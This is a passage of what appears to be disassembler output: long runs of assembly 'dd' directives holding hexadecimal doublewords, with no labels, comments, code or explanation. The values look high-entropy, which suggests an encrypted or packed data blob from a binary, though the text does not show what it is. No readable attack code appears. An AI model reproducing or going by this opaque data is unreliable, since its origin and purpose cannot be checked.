24EC283h, 50F095BDh dd 724AE954h, 0C527E5FDh, 0C82540D1h, 82A14F0Ah, 0E4DB0341h dd 0C1B53885h, 18C45FA3h, 7D6CED1Bh, 7C5A1603h, 0D39AE90Eh dd 0BD2E645Fh, 41FEE7ECh, 1A8CA34Fh, 0F478417Ch, 0AD777ECh dd 1F4FB621h, 61F7E22Bh, 59136808h, 9D80C83Eh, 44359745h dd 7D72E13Bh, 3644840h, 32D05DDBh, 41F0EBE9h, 43E0DF99h dd 0CBDDC0DDh, 690E1531h, 4883DAC1h, 906F2818h, 93B8C836h dd 0CB317110h, 0AC25FEB5h, 8E17288h, 157B59D8h, 78511603h dd 35639F10h, 0C27325C8h, 0EE100A29h, 46C03166h, 0F6C3E780h dd 904D3DFh, 0DF79AB97h, 157DC5A5h, 0B627462Dh, 3B7D6BC2h dd 35C0E9D5h, 1FF5902h, 39303487h, 1D1A9020h, 8F2D0B10h dd 0D36573F3h, 40AEE826h, 4019DDA6h, 0F38A6A05h, 2BEABF81h dd 300CA519h, 12C0C2B5h, 50672503h, 0D4799758h, 493FD9A5h dd 0D6BB5E49h, 76F0A40Eh, 971882E9h, 54BF3820h, 5AA85626h dd 10EFFE0Bh, 0B5DE785Dh, 0A42FB246h, 0E236A0DDh, 0CE409F4Ah dd 0D7076580h, 51FC9B32h, 61377BBDh, 0EB90204Ch, 95421A3Ah dd 9B9D3FD0h, 674A3E4Fh, 5387290h, 0D9B0F158h, 24E1A700h dd 5FE9742Eh, 0FDA5C5ACh, 55129324h, 0EDE58EECh, 4EE985D7h dd 4B6800E0h, 65A386h dd 0C38002B3h, 1DD3F6BCh, 54D98851h, 7F2493D1h, 83424F1Eh dd 4F426113h, 0E9932F5Ch, 79ADD412h, 91033A13h, 0A5B61A07h dd 0C1A0E419h, 88BA66A8h, 82DED24Dh, 0D38D503Ch, 215FC97Dh dd 0D6E9D844h, 0C06E92F1h, 0F7A8017Fh, 7520C27Ch, 5F40BDAFh dd 1AFA20F3h, 0A7EE9B0h, 0F73BA903h, 0A4E940D0h, 7644E3C9h dd 0F22F02B2h, 46790D89h, 112DC44Fh, 6E13FA14h, 0B7A79375h dd 0F1FE30A1h, 22F0D15Bh, 0E45F16A0h, 47C538ABh, 592F0EBEh dd 6AE9C1CBh, 70357E10h, 8FC0BFFh, 92027D6Ch, 0C13EF050h dd 0E52840EDh, 9B692F4Ah, 403B6BD8h, 0CFF04A41h, 0DD2E13ACh dd 8605AF2Dh, 55B37AA7h, 0FDE35A16h, 5FFEC5D9h, 935888F5h dd 99EB1FFh, 1820755Eh, 0CF11649h, 0C52D5F7Bh, 2D7520B6h dd 13F37721h, 0EC1C8B01h, 90FD89B5h, 1E1FE73Ah, 0D3069A4Ch dd 0B9A0C20Fh, 0F46D4A5Dh, 169EBCD5h, 2D588AAFh, 0EF591306h dd 0BCE9D945h, 0DEB8CC40h, 40BE255h, 0CE8ED2BAh, 97C88235h dd 89D9C47Eh, 130AB73Ah, 6085E3E9h, 0E90478FFh, 688D562Dh dd 97AF0F50h, 0CF08D851h, 0B2051274h, 0F10C17E8h, 0E76A1D2Dh dd 49EE25EBh, 0D7412949h, 0CE04F2AAh, 83B34E9Bh, 46749614h dd 450B2128h, 31EE0D8Bh, 18526E01h, 0DB1766B8h, 8316F8E7h dd 0DB2E2CD0h, 76AAECC9h, 140B3C19h, 0DC546E56h, 2FDA5893h dd 662D19Eh, 245F0B02h, 13BA8669h, 0ADA8A874h, 97D8616Fh dd 5F423B90h, 0DF4F604Ah, 0CDE71110h, 105891Dh, 95DB662Dh dd 592D7E45h, 0C828C442h, 2697EA06h, 0B3E5EA3h, 35B2327Eh dd 0F2812BD4h, 0D2EBE730h, 0EC798D68h, 0E61925BCh, 55A08E63h dd 18C01F4Ah, 42D978EFh, 196C27E9h, 50954A4Eh, 226AF3EFh dd 36E9E8C8h, 1BE23A66h, 1673AC10h, 42F65F5Bh, 0E440377h dd 840AE910h, 0B9EFBF03h, 0DB417305h, 0FC755AC3h, 0FB9C4BB4h dd 209B418Eh, 4B1EC68Dh, 0EAC90260h, 1CDBE496h, 1249C580h dd 3668AEEBh, 315F9CFAh, 6ACA32E6h, 90566188h, 88BB5BCCh dd 0AC9F04DFh, 9F376DFh, 484E2630h, 0A3A00FFh, 9DB1D9CFh dd 6E4B5A78h, 520A0Bh, 1B840247h, 0B0D7FC5Ah, 8B71978Dh dd 0F4E30B35h, 52C78102h, 83827B3Dh, 80DCDC02h, 490D81B8h dd 5DEA89F8h, 0C85E3D6Ch, 4A03FE9Dh, 0DC682758h, 83DF1062h dd 0A3E84EA7h, 0DDC1263Fh, 0EA8F8D3h, 4B71A7B7h, 15B84DF5h dd 0D308E25Fh, 0A1C1074Bh, 9DE68A7h, 54CB2838h, 0D52A8A05h dd 4748434h, 0AA18A9C7h, 522E1E29h, 892CEF08h, 5C68155Eh dd 62502E6Eh, 0D766169Bh, 9609FC13h, 2329AB0Fh, 0EAE9FD85h dd 431A5E8Ah, 5ADAB866h, 6E0C1C0h, 9C0509CFh, 0E90CFE82h dd 1EF750F3h, 13F8315Bh, 51A0F080h, 6E0953B5h, 98E385A5h dd 9B419C3Bh, 4CFD2B61h, 9689664h, 50F87BC4h, 0CE306C45h dd 0B322009h, 5BD92102h, 38208D8Fh, 0F8E91F61h, 0E9C8B55Bh dd 5B682F55h, 0B8050F66h, 6EB01CC0h, 33E993A0h, 0E0FDAC73h dd 8CCAA2BAh, 0F6FFC65Fh, 9BB86884h, 0C45F1244h, 0F4558924h dd 989F27F9h, 39D02D72h, 0E55080E7h, 0BB4895D9h, 1009EF1h dd 0C82111A0h, 0F0463559h, 0E9200954h, 907EC95Bh, 240A2663h dd 99E355h, 345B42BEh, 5C098E0Dh, 0E9309ECh, 7D2D6082h dd 450B418h, 0DD5B7E35h, 3D80EF61h, 2594436h, 0BBCABF51h dd 4975AEA6h, 0DFD23EF2h, 0E5F5A820h, 0AC5DA832h, 0DA493910h dd 7F549h, 0C95EE2A9h, 4A6FFC6Eh, 0B8FE70A2h, 390F49D5h dd 73DEE931h, 13D640A9h, 50B7706Bh, 72BABAE9h, 96015B25h dd 55AF8263h, 6F76EEBAh, 4D11E88h, 127C0668h, 1C58408h dd 0CA173EBDh, 5DCE9333h, 39401BAh, 7ECC34B8h, 0D5E905C1h dd 62202865h, 0BCD88270h, 90D23D2Dh, 0FC28168h, 0B5E1A80h dd 0BCD360C5h, 0D07A89F0h, 90E59C34h, 31BC4B83h, 51871898h dd 5B19DEA0h, 400B33F8h, 5E7107E9h, 0B652874Ch, 5AF05282h dd 89DD92EAh, 948EBEB4h, 2F348958h, 8846B17Fh, 0ABEC6BC6h dd 7E55C1F0h, 0A07410ADh, 0AB007F5Ah, 970CA3Eh, 0E6D160B7h dd 9E551274h, 0DDB60113h, 7A7BE91Dh, 0A5F323D0h, 12822C61h dd 35470470h, 0EE2681AEh, 0BBAC05B0h, 0F8BE84Ah, 0F69F6A3Dh dd 761E9A00h, 4AE96B94h, 0D60F845Fh, 8A0F82A8h, 2F3E6C28h dd 1B04F6FAh, 811DED20h, 5E4EABBEh, 0B666202Bh, 0E9E209FEh dd 0B09D5327h, 0B7713D4Bh, 4D8906D3h, 564CA092h, 28258068h dd 55FE3D07h, 0E22CF9C1h, 0D5037CC7h, 0E8D41Ch, 4BCDE586h dd 919065C6h, 0AB125A0Bh, 3225012Dh, 803AD6EFh, 1025CD6Dh dd 51AC6748h, 4080495h, 0BADA5C8Ch, 4B7D22CBh, 0F79D005Ah dd 118A68E1h, 2F3C9BBBh, 3CC769CBh, 696C540h, 5F0F7E56h dd 0B4A412D8h, 0E3E88089h, 0C9D0683Ch, 22FD1284h, 46074DF9h dd 3F150E29h, 9C5F5D89h, 0B9510692h, 28CA439Bh, 0D8E64B90h dd 20A0551h, 0F6FC26DBh, 2EB73063h, 1052D1BFh, 0F65727E5h dd 0D6DDEFD1h, 78D3F2B0h, 2EC0624Bh, 3D27A935h, 3174671h dd 126BB60Fh, 6EA7180Eh, 294BFE4Dh, 0C5656D61h, 0E2F096E9h dd 0F2E8BF05h, 95B230FFh, 76255EB9h, 107C7279h, 5EC8E970h dd 51DE73ECh, 626A67E2h, 1FBE2851h, 58895FB5h, 107647EDh dd 0D0E4A5EBh, 9FC1BAD4h, 0DD5A7B79h, 50098794h, 567EF668h dd 0E8E958B5h, 0BE1C1494h, 64894B1Dh, 0CEF90F46h, 0C114C19h dd 2C0B17D0h, 0C6E6A00Ah, 0B542AC04h, 9BC7894Bh, 2F3C997h dd 0A8689094h, 6161966Fh, 705BCDD3h, 8240EC09h, 5E4D775Fh dd 0EEE284FEh, 0B03D516Dh, 0F016F5Dh, 293DAF1Eh, 5EE99AF3h dd 0BFF361E5h, 4F685700h, 21F2DE2h, 0F639095Fh, 27474009h dd 0D5227518h, 3C561512h, 0B5EE8358h, 0AE5C2424h, 971B853Ch dd 759A5BE4h, 0ED4CD80Bh, 8E825745h, 0F060DAF7h, 0D3755B78h dd 350F0D00h, 642D5A1Ch, 6B833C22h, 800E441Eh, 1F2C0507h dd 0D0003C0h, 11414EFDh, 19635B2Dh, 5309CF93h, 0D68D40D2h dd 3E4FB44Fh, 0E80B3BC2h, 4ACBA30h, 520AF823h, 5785EE5Fh dd 18A385A0h, 0C4AE236h, 0C0572F2h, 7177E974h, 0B7B8EECCh dd 428F63A8h, 99E6E869h, 1B44084Eh, 50146D70h, 53784996h dd 568531F5h, 8476AB4Bh, 484FE92Fh, 257BCDBAh, 1F86811h dd 173D2F05h, 0D085897Ch, 0FC5AFCE8h, 607650F4h, 0BB552E39h dd 0ED517829h, 0B1817B08h, 99051FDAh, 0ADAF40C7h, 40691662h dd 0B16900AAh, 9F073E73h, 4105D603h, 526080ACh, 2B08F966h dd 26131FE9h, 27EB016Dh, 0F05C4B14h, 6995BCE4h, 8D384073h dd 0EB215B12h, 493B4C2Dh, 995152DBh, 68C1014Bh, 79C177CAh dd 0E496017Ah, 8E175474h, 0A135460Ch, 0EB8953C6h, 2B705FCDh dd 0FE9AA84Ah, 9A51EEC5h, 105DAF80h, 3B13121Ch, 5289FC2Dh dd 2F7B155Ch, 70047E25h, 17BAC9E9h, 40802502h, 0E2837976h dd 7A405764h, 0C695F74Dh, 0C6802FF3h, 0D4E427C4h, 0C44E28F4h dd 287B17F4h, 1FE09FEh, 1FE05096h, 43CF6CE9h, 3CC38722h dd 572904CCh, 61A29DBBh, 35E42F00h, 0CF449F31h, 0D98C6127h dd 0C07B1605h, 3551B9D5h, 31261413h, 5EF403D7h, 3F78CBB1h dd 3422CB4Bh, 5581412Bh, 8000A53Fh, 0E0BDBEF4h, 0B82D043Eh dd 0A3C0B5D0h, 0EF2FE9DDh, 576F2B1h, 0C4DE9AC5h, 0E300C7C6h dd 0E13BA41Ah, 6BCD9930h, 86FE7ABh, 0F620EF1Dh, 0B0001695h dd 0AF62BC28h, 0A9656451h, 0C2809740h, 0F4D32884h, 8B7B4A8Dh dd 0CE9C619Fh, 6A209E58h dd 2E19DE51h, 5672270Bh, 5B2F859Dh, 9A80C757h, 3FB26063h dd 0B3A0E90Ch, 4A685D3Eh, 0B98F8Ch, 6AB6570Bh, 6239F181h dd 2FB841F4h, 6805479Bh, 60213469h, 0C100F90Eh, 6CB802E2h dd 9E150604h, 0B0F0315Fh, 4B760BEAh, 1E844EB9h, 0EB8805CDh dd 2DF1F408h, 4C0ECD76h, 49854BAh, 0DEE2FCC5h, 6F2446E0h dd 0E8B327D2h, 0D668848Bh, 0CE68BE16h, 59640DEh, 0A61CB239h dd 0E82DE121h, 54BCE92Eh, 0E57DDE6h, 817D48BFh, 1171095Fh dd 2A9914DFh, 33D4CACFh, 0AB0636C6h, 0F9B6F6B1h, 1DF33C76h dd 0A4C9E608h, 1E1BDFA8h, 4A6CF4D0h, 65AD1B4Bh, 1827EE88h dd 81D041E1h, 0E032CD66h, 75CF6A97h, 0CB1E5CC3h, 5F430296h dd 0C340478Fh, 86254B85h, 482F521Ch, 503885C0h, 0C5002BB8h dd 0B9202C74h, 265C7696h, 0C32B1873h, 5EFC686Dh, 47C5218h dd 0C88D0Bh, 0F580DDF6h, 84D0B7FEh, 93ADEE27h, 0CDCCC30Bh dd 4F86B140h, 4C013379h, 1827E9E8h, 6E31B00Bh, 310CF8C1h dd 6FE9C80Bh, 0C2621BD3h, 4AD7D2C0h, 67BFE22Ch, 39770D0Fh dd 2B805BC5h, 2668A7h, 289F3507h, 0E9054589h, 0BF7465E2h dd 53C4AB5Ah, 51A8DDEEh, 0C95556h, 3A51472Dh, 608744C3h dd 0F3564974h, 8500D111h, 54580BF1h, 5CCE89A8h, 9D265059h dd 0AA336F94h, 0A0B52244h, 0E083C009h, 0DF7B151h, 0F188D834h dd 0B08338E5h, 5F6AE95Ah, 2095F5C7h, 84FF67Ah, 0EA60C5B2h dd 4A5C78F9h, 544C0BFh, 8E1C2E20h, 0C47D131Dh, 0B1B4E871h dd 0F804807Ah, 0F40D163Ah, 0B0DD7BC3h, 40311D40h, 0A576E9D9h dd 0F667F33Fh, 0D509AF4Fh, 205A5809h, 5B4EDA9Fh, 0F712D4B6h dd 0B91904F1h, 0F085174Fh, 40D904EAh, 5531AF69h, 8000155Ch dd 6C527EAh, 0C0A82834h, 0C306DE75h, 43045966h, 0D12CD0E1h dd 5164665Ah, 7A70C146h, 78401F39h, 5BFE3C54h, 4FCC8208h dd 0F7462659h, 20FC98A4h, 5BB7CC9Bh, 0D829C29Ch, 27E21455h dd 0F5487EE9h, 9B0518F1h, 0CF89EC99h, 95A59616h, 0F02570BCh dd 0EBC0F581h, 7069E04h, 7EBD73D2h, 0FB2AC45Fh, 65F03D3h dd 9A076C0Eh, 0E3095E6Bh, 0E45E440Fh, 4BCF94A1h, 2194CE3Ch dd 4866E962h, 48F75BA9h, 3C0101D6h, 1748D37h, 2F8B2FDEh dd 79F6C601h, 7F01D305h, 52853B21h, 0E5DAD16Bh, 0F0961643h dd 30565A1Ah, 425CC5C5h, 98CBECBDh, 418BE9C1h, 97F11BCEh dd 3D2BC88h, 0E386DCF6h, 22E617CBh, 68535500h, 7F803BCCh dd 0C3830B5Bh, 3E69E901h, 109D3756h, 0C45B9419h, 0ADB2F0D2h dd 125F789Fh, 0BE8C55E0h, 50F07300h, 264D11D9h, 1CFEDC1h dd 0C2B789F5h, 75C12A13h, 0AC04D09Eh, 0CD2913B3h, 75580004h dd 804A5D05h, 117FC169h, 2D866D5Eh, 0B4ED0912h, 8F57E0C8h dd 0BC32073h, 0FE4DB20Eh, 52FCEBh, 0DF317065h, 0E9F9215Bh dd 641D435Eh, 0A67A34Dh, 0C158F26Ah, 830664B8h, 76A37930h dd 310B0343h, 0C721E9C6h, 28E2AB30h, 982B4FD2h, 0E87A7098h dd 2AF89F1Fh, 58B0013Ah, 0FBC22F0Ah, 0B7128A0h, 51216359h dd 819A87Fh, 66EB5F12h, 9AB79427h, 621DF1F8h, 71560767h dd 55E60B4Fh, 8B7F36ABh, 175E132Eh, 4B5DE943h, 782564FBh dd 0FA84531Fh, 22607D40h, 5029CBBEh, 0B0F0C6F8h, 851D5F2Eh dd 0A7CBAE88h, 11177962h, 979416DDh, 5A50CE7Ah, 125DCD41h dd 18E84EA2h, 0B4C46F9Dh, 41B86AB7h, 133E3545h, 0FCE5C419h dd 4A57E6F6h, 0FCBA128Eh, 0D72FA26Dh, 167DF109h, 0CB3AB4D8h dd 4A7B96D7h, 904F952h, 204419EBh, 6BA0F361h, 1EB17C48h dd 0C40569C7h, 83DF0179h, 33E9E2FBh, 8B28823Bh, 0DD42374Dh dd 688859E3h, 96B52E5Fh, 0DA609F73h, 7B5E44E9h, 0FEAD9891h dd 2F0FBB00h, 54C119E0h, 6EE63033h, 186C9487h, 8443E470h dd 1974706h, 0AC17EFC1h, 93989077h, 0F6C435C1h, 11E2D217h dd 9C5066D7h, 0A37D880Fh, 5219B401h, 0A17BAAB2h, 2491F5F5h dd 0E3BD2119h, 552E98C1h, 8460B790h, 0C0355E52h, 0D4EA808Ah dd 0ABC81716h, 5AC9225Eh, 2FBD1E68h, 0B6C92159h, 712B6B56h dd 0CDB18417h, 2063E455h, 174045BDh, 80A356F2h, 777212AAh dd 17C60C48h, 19BC8DF0h, 176B110h, 0F75FFB87h, 6A3843D3h dd 9FBC7738h, 1401B1CFh, 0E5962152h, 0F326B88h, 27AD76B2h dd 0A91505DBh, 0E32800CFh, 0EB805866h, 0B6521D37h, 53C68EBEh dd 0C55AF307h, 286CD2C3h, 0D8316275h, 41C89F84h, 7AA8C52Dh dd 631D6856h, 5ECB097Dh, 37AB8251h, 0D30105EBh, 1FBC81A5h dd 1B65284Ch, 665825C3h, 171DB086h, 0BAA52D4Fh, 0E3C16214h dd 9C6F8FD2h, 50015292h, 0F3277768h, 0F03A5815h, 11128278h dd 0DE1B63EFh, 0BE36008Ah, 2C7D5D69h, 400EF681h, 0C018F325h dd 5139ACEh, 8BEDA030h, 0DD6417E7h, 0E973B421h, 800E985Ah dd 0F6D1C9ADh, 5CBB811Dh, 400EC062h, 0A6E381D2h, 70545731h dd 0B76BAF23h, 0C89F7BFCh, 0B815DB2h, 9253F5EEh, 191C8654h dd 0C9867C2Fh, 0E98A7659h, 6AB0ED2Ah, 0F16C3593h, 2E68C2D0h dd 64791BDDh, 580E850h, 1C530ACDh, 28F7BA08h, 78585DC6h dd 1201B65Bh, 54A3EEB2h, 3C645A1Eh, 5485BCD8h, 84F437F7h dd 7043EEC0h, 81084CF2h, 997F0102h, 16C53017h, 57C327C1h dd 0C53F865Eh, 1365C0ADh, 3FEB875Ah, 0D1AF1875h, 2B01A41h dd 0E2EA7F2Dh, 12525E60h, 0E914C80Bh, 177D015h, 0CE28F405h dd 83D80118h, 491C8324h, 77F80061h, 0E9798734h, 0E2B2A2E3h dd 7C4424DEh, 48017B5Fh, 0D816C835h, 211380E7h, 0FEA60BBh dd 0C13ED166h, 0F33913EFh, 0ED807F34h, 9783F95Fh, 205F8642h dd 66464B3Bh, 32949D61h, 5DE82112h, 4AAB73A4h, 287CD201h dd 3A400754h, 0B0217068h, 0F5512571h, 65ECAB66h, 4AB35380h dd 39E1E894h, 0CA808CF6h, 1C380626h, 0D203E2C0h, 702704EAh dd 0CBAEA81Ch, 2D497C3Eh, 0E92C8F94h, 288BC30Bh, 0A65E04F8h dd 57F90412h, 0F680063h, 0F44DCC4Eh, 0F3644AF6h, 6D755F95h dd 18EC29AFh, 0D57F68F2h, 8F620294h, 706677DBh, 6C506CB0h dd 956E41h, 22FCBBC8h, 0BF54028Ah, 0AEA1E4E8h, 0CF2025FCh dd 2C07E00Bh, 0AACAE403h, 64B87144h, 815D94BFh, 544F52FDh dd 0D2C5AB46h, 435E2E90h, 7E324C1h, 9A370058h, 0DE31C54Bh dd 0FA53E912h, 5F05F88Ch, 45247797h, 0A899839Fh, 484F48h dd 64F02C4Bh, 501E883h, 0D2B7BC2Dh, 0D55E8C55h, 4A1B1418h dd 1207B50Ch, 131F5A8h, 2447291Fh, 0D8AD2858h, 4FD4E90Dh dd 0A7A8E90Ch, 2568F17Ch, 0D7194C12h, 0E90386FFh, 0B00AB41Ch dd 0E754D33Eh, 1DC44E24h, 5CA1B6E8h, 0E8F22F66h, 85624013h dd 0C824983Dh, 9E921A90h, 6F8C797h, 0B06D8E9h, 0B8451E60h dd 4CA97A3Dh, 9D12DF57h, 0C97FCB98h, 59826977h, 68C2CE72h dd 97B22FCCh, 0E4952351h, 145827EDh, 0F8202DDAh, 0FB09F0C7h dd 62C67455h, 4CD71DA5h, 0E611D31Ch, 4EF304FEh, 3AEC4974h dd 6FBD5501h, 6834B97Ah, 89EC5AE1h, 89D60A41h, 0BB828218h dd 0BCC608DCh, 27C2A727h, 719D1DDAh, 0B975EB65h, 7E51C377h dd 100E4C2h, 0ADBE56FAh, 5C2C4272h, 470900F0h, 6E685820h dd 0A8435262h, 6DD80BE2h, 5F000658h, 2CAA9716h, 0FFAD8Eh dd 91716B68h, 0ADB2B54Ch, 0D23D84B2h, 1ED361ECh, 0C1ECC985h dd 30BFC318h, 413D1F03h, 0A2224BBEh, 0E561DFA1h, 0D4D9A79Ch dd 0A0258850h, 4B466C27h, 0B4EDEC89h, 0FA49DD84h, 0CAE95C5Dh dd 0D342E21Ch, 0FB285047h dd 5B26700Bh, 8E1DA30h, 0F167E907h, 42685200h, 486D7105h dd 0B174155Ah, 0ADD293B3h, 609316A8h, 9D5B3F88h, 310825FBh dd 0AB80411h, 0A56BC710h, 0FE9A527Bh, 0CD39562h, 0D68A6A52h dd 0AD58978Fh, 0FBE22FC8h, 0BD400B43h, 8B426AD4h, 975FE61Fh dd 0F149F644h, 0EB830449h, 0EEC88702h, 0FC358192h, 310BFA59h dd 7941AF68h, 0A1EAC65h, 960AD7h, 2D0C549Fh, 7BB0C609h dd 0FBBAE40h, 28D96D51h, 0AA6F7444h, 0F13A4545h, 25DDA1ECh dd 3159E681h, 0A3D1C9CAh, 589D508h, 61BC5EE6h, 260B3F68h dd 735B19DFh, 176C922Dh, 6810604Fh, 23DA2FF6h, 766E7748h dd 0AE46A2F7h, 815EF325h, 0DD79E192h, 72D18D30h, 81014C78h dd 0B76A7D04h, 5940AB2Eh, 583561C9h, 0C5E9120Fh, 900637E5h dd 5068C8BFh, 5A676C62h, 0AF5305BAh, 444B658Bh, 1472ABC1h dd 10A5485Ah, 0BB058B1Dh, 81E65BE4h, 7AF83E9h, 3380D58Bh dd 97662CEAh, 3259127Bh, 0A5FD4F28h, 91EE494Fh, 0D99D1450h dd 138364F2h, 9002ABEh, 5513BC68h, 22547B6h, 0CB33C576h dd 880398DDh, 648A37E1h, 8D76694Ch, 0EDAFE824h, 27582AD2h dd 61D38F36h, 3A0BBF82h, 0EF858018h, 9C378D7h, 9F65E96Dh dd 16F80F16h, 0F2B7A45Eh, 90FD1864h, 2807B7B1h, 412FF779h dd 0C0CC6888h, 3EF2E40Eh, 2E9BF101h, 95C81BDBh, 135EFD6Eh dd 66297B8h, 0B7F84A04h, 6C5B8E90h, 6293B5F2h, 524A02AEh dd 0E7326FC0h, 1D665780h, 136980BFh, 9D46FB4Fh, 0EDBB60EFh dd 0A6709C3Bh, 8AB9B64Fh, 0B2AE8785h, 714BDFA7h, 4FD9646Bh dd 8B97AC55h, 0D30B7F31h, 0C4C20CE1h, 7D5B0442h, 814EED4h dd 28A07094h, 6BD67F12h, 23107DB8h, 0F05C27B1h, 23719FFAh dd 9A9484E9h, 254DCAEAh, 5CC109FEh, 0C159A98Fh, 49F438E9h dd 237BF99Ch, 61569F44h, 0A431E6A4h, 0AEEB5D8Dh, 19A11458h dd 0C1B63C17h, 2F106956h, 0C795383Eh, 4301B1B0h, 681EEF05h dd 758B03A3h, 6930719Fh, 369D93B6h, 0C9681330h, 0A583EC28h dd 6856C941h, 5D9216F5h, 6AABA164h, 0E9C2F5E3h, 4E56ED8Dh dd 4B5F0264h, 4B7388D5h, 268A5E2Fh, 0A7512604h, 38479A5Ch dd 1ED1DD4h, 1B17E908h, 3C465C27h, 0F0D1F696h, 6823FC9h dd 3F94808Fh, 8562E901h, 11D5D531h, 9DF8759h, 0CB56D7F8h dd 7771D202h, 0C8FA5F05h, 0A54EB0B6h, 70C8654h, 4AEE5E4Eh dd 12BE28D4h, 3F60FFD2h, 0B3F20B9h, 0A3E959E7h, 0E0A8B856h dd 0B22DBC18h, 247AC172h, 23F3F12h, 256A2417h, 46FD0C70h dd 14821C08h, 7E491259h, 0AA0D6D77h, 916D760h, 49FC5DEBh dd 232A02D3h, 260BE95h, 0B580A2C1h, 0C5801C76h, 0F8EDC320h dd 0FAF9EB08h, 96822265h, 5AACB065h, 28E9F754h, 0E17E56Eh dd 3A3E184Ah, 7AF7E1C1h, 0E93A9DF2h, 0C837B4D7h, 0ABC6C305h dd 515B2451h, 0FC0F1712h, 61818E86h, 76915C2Ah, 5A2D817Bh dd 3F88E5A1h, 0E7AAAD1h, 9EC6D981h, 7B247539h, 0FF84DA1h dd 0BA6EC0C0h, 0C809FBC3h, 1A90D5FAh, 58753C66h, 0A560B58Bh dd 0C2955591h, 38C6DDC2h, 93899694h, 6B1ED619h, 1E1B9057h dd 0B968C05Dh, 119C416Fh, 3E19F8C0h, 0A0490387h, 255DE89h dd 0CB291DC6h, 96F494E9h, 0D478C089h, 7264AD8Dh, 19085527h dd 92740A3Dh, 0A8D4002Dh, 0BB5337ABh, 0D250743Eh, 0DE12EB93h dd 3505D548h, 72FB13CEh, 475FF166h, 21E9843Eh, 74FA964h dd 93678A6h, 139486Ch, 50539BA4h, 0D422EE68h, 2500584Fh dd 2AC76A2Fh, 27DE0205h, 0FA5EF5BCh, 0A0D3010Eh, 29595B0Bh dd 92304D72h, 829D6185h, 7EC7A866h, 0D1638009h, 0AD4F8827h dd 4276BA01h, 20201D49h, 17BB60C9h, 3A320FCDh, 0DCA54A4Eh dd 9820FACCh, 0D1011376h, 0A54EBD5Ah, 5BD166C9h, 805AA007h dd 7BF440F5h, 6AE79E54h, 0D03F743Eh, 0DD26E8Dh, 0D359B90Bh dd 0B25200FCh, 99E28082h, 0FFB75317h, 0C6477FCh, 0C00FC2CDh dd 0D2BEAD04h, 6BCBECF3h, 0E945FABAh, 5A087CA5h, 50218661h dd 5BA2689Eh, 50756CB7h, 4CCE1702h, 4800CD59h, 5E05314Ch dd 389FF729h, 0B367559Bh, 20BC21CBh, 6172948Ch, 7315FE68h dd 379A5BB5h, 0D5E2E909h, 1A88FE5Ch, 52933D89h, 0A5EE565Ah dd 7F823F9Dh, 2088CE5Dh, 609D82AFh, 58FC70C8h, 9F51035Ah dd 96420804h, 0DD9BB3E9h, 2F37992Ah, 0F7420F53h, 7E07C0F9h dd 3B399712h, 0DE9BA505h, 52F382D1h, 3560884Eh, 5D09A1C5h dd 74015343h, 4808205Fh, 0C525445Bh, 940A9CD3h, 0A50D5F80h dd 0F651D013h, 5203857Ah, 44FDE3EAh, 88250928h, 0E5076419h dd 14A2037Ch, 0A85B6C2Dh, 5F020B0Ch, 516BC668h, 6A078838h dd 922FA27h, 0F82158C7h, 0C1042716h, 0C8310EE8h, 971818BDh dd 0F2C6AD91h, 6EA15712h, 330994BCh, 56FE1223h, 0A689F1C9h dd 1DFD1064h, 0D0D3E7D1h, 868A580h, 0D751BD4Ch, 2E8EC54Bh dd 0BBD388D0h, 20355D00h, 0A066DC73h, 4EAEE4C8h, 3A75F8E3h dd 0D654B5Fh, 27E67501h, 0E46E5946h, 5ED2257h, 80F683BBh dd 6F58C69Ch, 82C928E0h, 5344988Ah, 0C8B10051h, 8003E1C0h dd 6C349C1h, 7ACB889Fh, 81B34052h, 660AD4F0h, 2A575097h dd 0A8591DA8h, 44E296F8h, 7324FD22h, 0E9509B29h, 74D85FAAh dd 5920C241h, 0A7BD767Bh, 5E9F066Ah, 598F6238h, 702A5961h dd 95085713h, 0C38000DBh, 5BD830DAh, 0A4F338A0h, 9BDC69Dh dd 62034137h, 698B165Dh, 12871D36h, 0E9FEB1C7h, 75855565h dd 0AB6CE4F5h, 64AA13D7h, 0FC88FACAh, 2C584055h, 83E2F45Eh dd 0D082E9C5h, 3F86B954h, 551CCB00h, 0B12FA4BDh, 0F2F7A023h dd 0BF830190h, 9EE9CA89h, 60306ADBh, 1FF207B2h, 0C9C7018Ah dd 0CB39A35Fh, 10D3F622h, 0BF084E24h, 7F8307F8h, 9DD0A20h dd 11F50901h, 73C5E9E0h, 0A304D47Dh, 0D7041770h, 9ED7E314h dd 3C2A8762h, 10402B1h, 0F64B405Fh, 3404C7D8h, 0A8C50451h dd 0E9210592h, 0F544B53Bh, 0D9B05DEEh, 50D2A979h, 4C3CA9D9h dd 6680D043h, 48289869h, 7DD4C3BFh, 405EE06h, 4785F4A2h dd 8003C409h, 426B1C2Eh, 0C4E96D09h, 496F7AFAh, 9D5C3402h dd 684BCC5Bh, 0E017A024h, 4D945567h, 5D390EEEh, 0B08800B3h dd 0E9D699ABh, 9B959D7Dh, 0EB7F214h, 9AE9D30Fh, 676885A3h dd 0B64FB8Dh, 609ED9BBh, 0A04AB4F8h, 2E78A9F2h, 41477CFEh dd 0F017085Ah, 4690C889h, 0B19E8648h, 292974DEh, 0B6520204h dd 0CE04D15Fh, 0EDE6CC55h, 8E6FE925h, 570BA430h, 0EC331EFh dd 163C7683h, 51F2BF03h, 0F1253A58h, 9E1C418Bh, 13C6895h dd 0A9054AC8h, 68592547h, 8056D449h, 290DBF6h, 0D020F424h dd 8E8C000h, 4F885366h, 144EA8C7h, 85459ABBh, 35EF1345h dd 8649B22Ch, 2DA25A54h, 0FBD982DFh, 4B40208h, 0BC55BF68h dd 0DF98C46Eh, 20DCDBEh, 0E5B1F7B7h, 7EB1A57Ch, 89C26CDh dd 0B6443623h, 0C1B338C1h, 6B2ECC3Bh, 772CC7B6h, 0F80F861Ch dd 0F53FAB5Bh, 1A110B87h, 0E8D0AF42h, 3520AA7Ch, 43D99CA8h dd 135DB289h, 0BB8210E0h, 504AA4Ch, 0AB13F24Eh, 9D010783h dd 71DED60Bh, 2C0DAB4Bh, 0D518CC8Ah, 3BA56D17h, 0EB289AFCh dd 9B14B708h, 29BF07D6h, 6DCB3F69h, 0F255E417h, 0C3E71218h dd 0E997FDBCh, 295CF0D7h, 5F4898C3h, 0BAC30074h, 1228162Dh dd 6F28102h, 70156D5Fh, 0A8B04E30h, 0B6FEC5D7h, 9CF68D40h dd 0F6A61FE4h, 0C4D548C0h, 0AB0FBE96h, 9390651Ch, 5C8163FCh dd 7B1B9268h, 4BDAE88Ch dd 21028D57h, 0D876E8C2h, 25B84A02h, 54695C1Dh, 687C3727h dd 0C8F9EE92h, 0A8DC5A2Dh, 75C8E962h, 